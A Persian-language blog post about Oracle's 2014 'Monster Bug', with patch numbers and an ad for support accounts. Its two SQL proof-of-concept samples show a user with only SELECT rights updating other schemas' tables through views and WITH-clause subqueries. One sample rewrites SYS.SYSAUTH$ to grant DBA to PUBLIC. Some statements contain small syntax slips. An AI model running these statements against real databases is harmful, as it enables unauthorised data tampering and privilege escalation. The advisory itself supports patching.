در JANUARY سال ۲۰۱۴ یک باگ امنیتی در دیتابیس اوراکل برطرف شد که کارشناسان اسم Monster BUG را روی آن گذاشتند.

در این باگ به طور خلاصه کاربری با دسترسی SELECT به جدول schema دیگری می‌تواند اطلاعات جدول را UPDATE کند.

این باگ در همه‌ی نسخه‌های جاری حال حاضر (9i, 10g, 11g, 12c) وجود دارد و فقط با اعمال patchهای امنیتی قابلیت برطرف شدن دارد.

به مثالهای زیر توجه کنید:

-- Sample 1
As the MARKUSER user:
CREATE markuser.marktab1 (mark_id VARCHAR2(20) NOT NULL);
INSERT INTO markuser.marktab1 (mark_id)
VALUES (‘Initial value’);
COMMIT;

GRANT select ON markuser.marktab1 TO lukeuser;

CREATE VIEW lukeuser.marktab1_vw1 AS
SELECT *
FROM markuser.marktab1;

UPDATE lukeuser.marktab1_vw1
SET mark_id = ‘FAIL1’;

CREATE VIEW lukeuser.marktab1_vw2 AS
SELECT MAX(mark_id)
FROM lukeuser.marktab1_vw1
GROUP BY mark_id;

UPDATE marktab1_vw2
SET mark_id = ‘FAIL2’;

SELECT *
FROM markuser.marktab1;

CREATE VIEW marktab1_vw3 AS
SELECT *
FROM marktab1_vw1
WHERE 1 IN (
SELECT 1
FROM marktab1_vw1
WHERE ROWNUM = 1
);

UPDATE marktab1_vw3
SET mark_id = ‘FAIL3’;

SELECT * FROM markuser.marktab1;

And if the user DOESN’T have the CREATE VIEW system privilege?
UPDATE
(WITH x AS
(SELECT * FROM markuser.marktab1)
SELECT * FROM x)
tab1
SET mark_id = ‘FAIL4’;

Whoops. This query will return ‘FAIL4’:
SELECT *
FROM markuser.marktab1;

Not only can you update user tables, but what about the data dictionary? Yep, that too. As JOHNUSER:
UPDATE
(WITH x AS
(SELECT * FROM audit_actions)
SELECT * FROM x)
tab1
SET name = ‘FAIL5’;

This query will return ‘FAIL5’:
SELECT name
FROM audit_actions;

As the JOHNUSER, who has the SELECT ANY DICTIONARY system privilege, get the grantee#/user_id of the MARKDBA power user using the ALL_USERS view:
SELECT *
FROM sys.sysauth$
WHERE grantee# = (
SELECT user_id
FROM all_users
WHERE username = ‘MARKDBA’)
AND rownum = 1;

This returns grantee# = 221, privilege# = 261 and sequence# = 12506869
We could look up the PRIVILEGE# in SYS.SYSTEM_PRIVILEGE_MAP, but not all privileges are there, such as #4 (DBA) and we’re busy people, right?
Instead, we look up the MARKDBA user in the SYS.SYSAUTH$ table to ensure a tautology to expose the bug, then we give DBA access (privilege# = 4) to the PUBLIC (grantee# = 1) role:

UPDATE
(WITH x AS (
SELECT *
FROM sys.sysauth$
WHERE grantee# = 221
AND privilege# = -261
AND sequence# = 12506869
)
SELECT * FROM x) tab1
SET grantee# = 1, privilege = 4;

مثال ۲:

-- Sample 2
create user user1 identified by 123 ;

grant create session , create table to user1;

grant select on scott.emp to user1;

conn user1/123

select ename , sal from scott.emp where ename='ALLEN';
ENAME      SAL
---------- ----------
ALLEN      3600

1 rows selected.

update scott.emp set sal=1000 where ename='ALLEN';
update scott.emp set sal=1000 where ename='ALLEN'
 *
ERROR at line 1:
ORA-01031: insufficient privileges

update (with tmp as (select * from scott.emp) select * from tmp) set sal=1000 where ename='ALLEN';

1 row updated.

commit;
Commit complete.

select ename , sal from scott.emp where ename='ALLEN';
ENAME      SAL
---------- ----------
ALLEN      1000

خوشبختانه این مشکل با ارائه Oracle Critical Patch Update Advisory - October 2014 توسط شرکت اوراکل برطرف شده است.

شما با مراجعه به support.oracle.com می‌توانید برای نسخه‌ی ۱۱.۲.۰.۳ به دنبال شماره patch زیر برای آپدیت سال ۲۰۱۴ باشید:

Patch 19271438: DATABASE SECURITY PATCH UPDATE 11.2.0.3.0 (CPUOCT2014)

همچنین برای آپدیت سال ۲۰۱۵:

Patch 20803576: DATABASE SECURITY PATCH UPDATE 11.2.0.3.0 (CPUJUL2015)

همکاران محترم میتوانند برای اعمال patchهای امنیتی اکانت متالینک را از طریق لینک زیر تهیه فرمایند:

فروش اکانت متالینک اوراکل ویژه اشخاص و سازمان‌ها

همچنین این patch امنیتی برای پلتفرم‌های زیر عرضه شده:

منبع